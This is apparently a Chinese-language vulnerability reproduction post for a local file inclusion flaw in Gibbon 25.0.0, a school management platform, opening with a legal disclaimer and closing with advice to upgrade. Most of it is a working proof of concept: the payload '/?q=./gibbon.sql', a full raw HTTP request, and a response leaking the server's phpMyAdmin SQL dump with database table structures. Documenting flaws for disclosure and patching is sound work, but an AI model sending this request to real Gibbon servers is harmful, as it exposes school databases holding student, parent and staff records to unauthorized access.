本文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
漏洞说明
Gibbon是一个解决教育工作者每天遇到的实际问题的学校平台。
Gibbon 25.0.0版本存在安全漏洞,该漏洞源于存在本地文件包含漏洞。攻击者可利用该漏洞在服务器响应中包含本地文件。
影响版本
Gibbon 25.0.0
漏洞复现
payload:
/?q=./gibbon.sql
请求包:
GET /?q=./gibbon.sql HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
响应包:
.....
-- phpMyAdmin SQL Dump
-- version 5.1.0
-- https://www.phpmyadmin.net/
--
-- Host: localhost:8889
-- Generation Time: Jun 20, 2022 at 08:23 AM
-- Server version: 5.7.34
-- PHP Version: 7.4.21
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
--
-- Database: `gibbon`
--
-- --------------------------------------------------------
--
-- Table structure for table `gibbonAction`
--
CREATE TABLE `gibbonAction` (
`gibbonActionID` int(7) UNSIGNED ZEROFILL NOT NULL,
`gibbonModuleID` int(4) UNSIGNED ZEROFILL NOT NULL,
`name` varchar(50) NOT NULL COMMENT 'The action name should be unqiue to the module that it is related to',
`precedence` int(2) NOT NULL,
`category` varchar(20) NOT NULL,
`description` varchar(255) NOT NULL,
`helpURL` varchar(255) DEFAULT NULL,
`URLList` text NOT NULL COMMENT 'Comma seperated list of all URLs that make up this action',
`entryURL` varchar(255) NOT NULL,
`entrySidebar` enum('Y','N') NOT NULL DEFAULT 'Y',
`menuShow` enum('Y','N') NOT NULL DEFAULT 'Y',
`defaultPermissionAdmin` enum('N','Y') NOT NULL DEFAULT 'N',
`defaultPermissionTeacher` enum('N','Y') NOT NULL DEFAULT 'N',
`defaultPermissionStudent` enum('N','Y') NOT NULL DEFAULT 'N',
`defaultPermissionParent` enum('N','Y') NOT NULL DEFAULT 'N',
`defaultPermissionSupport` enum('N','Y') NOT NULL DEFAULT 'N',
`categoryPermissionStaff` enum('Y','N') NOT NULL DEFAULT 'Y',
`categoryPermissionStudent` enum('Y','N') NOT NULL DEFAULT 'Y',
`categoryPermissionParent` enum('Y','N') NOT NULL DEFAULT 'Y',
`categoryPermissionOther` enum('Y','N') NOT NULL DEFAULT 'Y'
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
.........
修复建议
升级至安全版本
本文章仅用于学习交流,不得用于非法用途